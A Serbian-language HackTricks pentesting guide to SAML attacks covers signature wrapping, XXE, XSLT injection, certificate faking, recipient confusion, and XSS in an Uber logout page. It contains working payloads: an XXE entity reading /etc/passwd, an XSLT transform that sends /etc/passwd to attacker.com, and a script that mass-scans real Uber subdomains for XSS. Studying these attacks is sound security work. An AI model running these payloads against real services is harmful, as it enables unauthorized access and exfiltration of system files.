SAML Attacks

SAML Attacks

Podržite HackTricks

Osnovne informacije

SAML Basics

Alat

SAMLExtractor: Alat koji može uzeti URL ili listu URL-ova i ispisati SAML consume URL.

XML povratna putanja

U XML-u, potpisani deo XML-a se čuva u memoriji, zatim se vrši neka kodiranje/dekodiranje i potpis se proverava. Idealno, to kodiranje/dekodiranje ne bi trebalo da menja podatke, ali na osnovu tog scenarija, proveravani podaci i originalni podaci ne bi mogli biti isti.

Na primer, proverite sledeći kod:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Pokretanje programa protiv REXML 3.2.4 ili ranijeg rezultiraće sledećim izlazom umesto toga:

First child in original doc: Y
First child after round-trip: Z

Ovo je kako je REXML video originalni XML dokument iz gornjeg programa:

A ovo je kako ga je video nakon obrade i serijalizacije:

Za više informacija o ranjivosti i kako je iskoristiti:

XML Signature Wrapping Attacks

U XML Signature Wrapping napadima (XSW), protivnici koriste ranjivost koja nastaje kada se XML dokumenti obrađuju kroz dve različite faze: validacija potpisa i poziv funkcije. Ovi napadi uključuju menjanje strukture XML dokumenta. Konkretno, napadač ubacuje lažne elemente koji ne kompromituju validnost XML potpisa. Ova manipulacija ima za cilj da stvori razliku između elemenata koje analizira aplikaciona logika i onih koje proverava modul za verifikaciju potpisa. Kao rezultat, dok XML potpis ostaje tehnički validan i prolazi verifikaciju, aplikaciona logika obrađuje lažne elemente. Kao posledica, napadač efikasno zaobilazi zaštitu integriteta i autentifikaciju porekla XML potpisa, omogućavajući ubacivanje proizvoljnog sadržaja bez otkrivanja.

Sledeći napadi se zasnivaju na ovom blog postu i ovoj studiji. Proverite ih za dodatne detalje.

XSW #1

  • Strategija: Dodaje se novi korenski element koji sadrži potpis.

  • Implikacija: Validator može biti zbunjen između legitimnog "Response -> Assertion -> Subject" i napadačevog "zlog novog Response -> Assertion -> Subject", što dovodi do problema sa integritetom podataka.

XSW #2

  • Razlika od XSW #1: Koristi odvojeni potpis umesto obavijenog potpisa.

  • Implikacija: "Zla" struktura, slična XSW #1, ima za cilj da prevari poslovnu logiku nakon provere integriteta.

XSW #3

  • Strategija: Kreira se zla Assertion na istom hijerarhijskom nivou kao originalna assertion.

  • Implikacija: Ima za cilj da zbuni poslovnu logiku da koristi maliciozne podatke.

XSW #4

  • Razlika od XSW #3: Originalna Assertion postaje dete duplicirane (zle) Assertion.

  • Implikacija: Slično XSW #3, ali agresivnije menja XML strukturu.

XSW #5

  • Jedinstveni aspekt: Ni potpis ni originalna Assertion ne pridržavaju se standardnih konfiguracija (obavijen/obavijajući/odvojeni).

  • Implikacija: Kopirana Assertion obavija potpis, menjajući očekivanu strukturu dokumenta.

XSW #6

  • Strategija: Slična lokacijska umetanja kao XSW #4 i #5, ali sa preokretom.

  • Implikacija: Kopirana Assertion obavija potpis, koji zatim obavija originalnu Assertion, stvarajući ugnježdenu obmanjujuću strukturu.

XSW #7

  • Strategija: Umeće se element Extensions sa kopiranom Assertion kao detetom.

  • Implikacija: Ovo koristi manje restriktivnu šemu elementa Extensions da zaobiđe mere protiv validacije šeme, posebno u bibliotekama kao što je OpenSAML.

XSW #8

  • Razlika od XSW #7: Koristi drugi manje restriktivni XML element za varijantu napada.

  • Implikacija: Originalna Assertion postaje dete manje restriktivnog elementa, preokrećući strukturu korišćenu u XSW #7.

Alat

Možete koristiti Burp ekstenziju SAML Raider da analizirate zahtev, primenite bilo koji XSW napad koji odaberete i pokrenete ga.

XXE

Ako ne znate koji su napadi XXE, molimo vas da pročitate sledeću stranicu:

XXE - XEE - XML External Entity

SAML odgovori su deflacionirani i base64 kodirani XML dokumenti i mogu biti podložni napadima XML External Entity (XXE). Manipulacijom XML strukture SAML odgovora, napadači mogu pokušati da iskoriste XXE ranjivosti. Evo kako se takav napad može vizualizovati:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Alati

Možete takođe koristiti Burp ekstenziju SAML Raider da generišete POC iz SAML zahteva kako biste testirali moguće XXE ranjivosti i SAML ranjivosti.

Pogledajte takođe ovo predavanje: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT putem SAML

Za više informacija o XSLT idite na:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Ekstenzibilni jezik za transformaciju stilova (XSLT) može se koristiti za transformaciju XML dokumenata u različite formate kao što su HTML, JSON ili PDF. Ključno je napomenuti da se XSLT transformacije vrše pre verifikacije digitalnog potpisa. To znači da napad može biti uspešan čak i bez važećeg potpisa; samopotpisani ili nevažeći potpis je dovoljan za nastavak.

Ovde možete pronaći POC za proveru ovakvih ranjivosti, na hacktricks stranici pomenutoj na početku ovog odeljka možete pronaći payload-e.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Alat

Možete takođe koristiti Burp ekstenziju SAML Raider da generišete POC iz SAML zahteva kako biste testirali moguće XSLT ranjivosti.

Pogledajte takođe ovo predavanje: https://www.youtube.com/watch?v=WHn-6xHL7mI

Isključenje XML potpisa

Isključenje XML potpisa posmatra ponašanje SAML implementacija kada element Potpis nije prisutan. Ako je ovaj element nedostajući, verifikacija potpisa možda neće biti izvršena, što ga čini ranjivim. Moguće je testirati ovo menjajući sadržaj koji se obično verifikuje potpisom.

Alat

Možete takođe koristiti Burp ekstenziju SAML Raider. Presretnite SAML odgovor i kliknite Remove Signatures. Na taj način svi elementi potpisa se uklanjaju.

Sa uklonjenim potpisima, dozvolite zahtevu da nastavi ka cilju. Ako potpis nije potreban od strane Servisa

Lažiranje sertifikata

Lažiranje sertifikata

Lažiranje sertifikata je tehnika za testiranje da li Provajder usluga (SP) pravilno verifikuje da je SAML poruka potpisana od strane pouzdane Identitetske provajder (IdP). Uključuje korišćenje *samo-potpisanog sertifikata za potpisivanje SAML odgovora ili potvrde, što pomaže u evaluaciji procesa verifikacije poverenja između SP i IdP.

Kako sprovesti lažiranje sertifikata

Sledeći koraci opisuju proces korišćenja SAML Raider Burp ekstenzije:

  1. Presretnite SAML odgovor.

  2. Ako odgovor sadrži potpis, pošaljite sertifikat u SAML Raider Certs koristeći dugme Send Certificate to SAML Raider Certs.

  3. U SAML Raider kartici Sertifikati, izaberite uvezeni sertifikat i kliknite Save and Self-Sign da kreirate samo-potpisanu kopiju originalnog sertifikata.

  4. Vratite se na presretnuti zahtev u Burp-ovom Proxy-ju. Izaberite novi samo-potpisani sertifikat iz padajućeg menija XML potpisa.

  5. Uklonite sve postojeće potpise pomoću dugmeta Remove Signatures.

  6. Potpišite poruku ili potvrdu novim sertifikatom koristeći dugme (Re-)Sign Message ili (Re-)Sign Assertion, kako je prikladno.

  7. Prosledite potpisanu poruku. Uspešna autentifikacija ukazuje da SP prihvata poruke potpisane vašim samo-potpisanim sertifikatom, otkrivajući potencijalne ranjivosti u procesu verifikacije SAML poruka.

Zbunjenost primaoca tokena / Zbunjenost cilja provajdera usluga

Zbunjenost primaoca tokena i Zbunjenost cilja provajdera usluga uključuju proveru da li Provajder usluga pravilno verifikuje nameravanog primaoca odgovora. U suštini, Provajder usluga bi trebao odbiti odgovor na autentifikaciju ako je bio namenjen drugom provajderu. Ključni element ovde je polje Primaoc, koje se nalazi unutar elementa SubjectConfirmationData SAML odgovora. Ovo polje specificira URL koji ukazuje gde potvrda mora biti poslata. Ako stvarni primalac ne odgovara nameravanom Provajderu usluga, potvrda bi trebala biti smatrana nevažećom.

Kako to funkcioniše

Da bi napad na Zbunjenost primaoca tokena (SAML-TRC) bio izvodljiv, određeni uslovi moraju biti ispunjeni. Prvo, mora postojati važeći nalog na Provajderu usluga (naziva se SP-Legit). Drugo, ciljani Provajder usluga (SP-Target) mora prihvatati tokene od iste Identitetske provajder koja služi SP-Legit.

Proces napada je jednostavan pod ovim uslovima. Autentična sesija se pokreće sa SP-Legit putem zajedničkog Identitetskog provajdera. SAML odgovor od Identitetskog provajdera ka SP-Legit se presreće. Ovaj presretnuti SAML odgovor, prvobitno namenjen za SP-Legit, se zatim preusmerava na SP-Target. Uspeh u ovom napadu meri se prihvatanjem potvrde od strane SP-Target, omogućavajući pristup resursima pod istim imenom naloga koji se koristi za SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS u funkcionalnosti odjave

Originalno istraživanje može se pristupiti putem ove veze.

Tokom procesa brute force napada na direktorijum, otkrivena je stranica za odjavu na:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

При приступу овом линку, дошло је до преусмеравања на:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Ovo je otkrilo da base parametar prihvata URL. Uzimajući to u obzir, pojavila se ideja da se URL zameni sa javascript:alert(123); u pokušaju da se inicira XSS (Cross-Site Scripting) napad.

Masovna Eksploatacija

Iz ove studije:

SAMLExtractor alat je korišćen za analizu poddomena uberinternal.com za domene koji koriste istu biblioteku. Nakon toga, razvijen je skript koji cilja stranicu oidauth/prompt. Ovaj skript testira XSS (Cross-Site Scripting) unosom podataka i proverava da li se oni odražavaju u izlazu. U slučajevima kada se unos zaista odražava, skript označava stranicu kao ranjivu.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

Reference

Podrška HackTricks

Last updated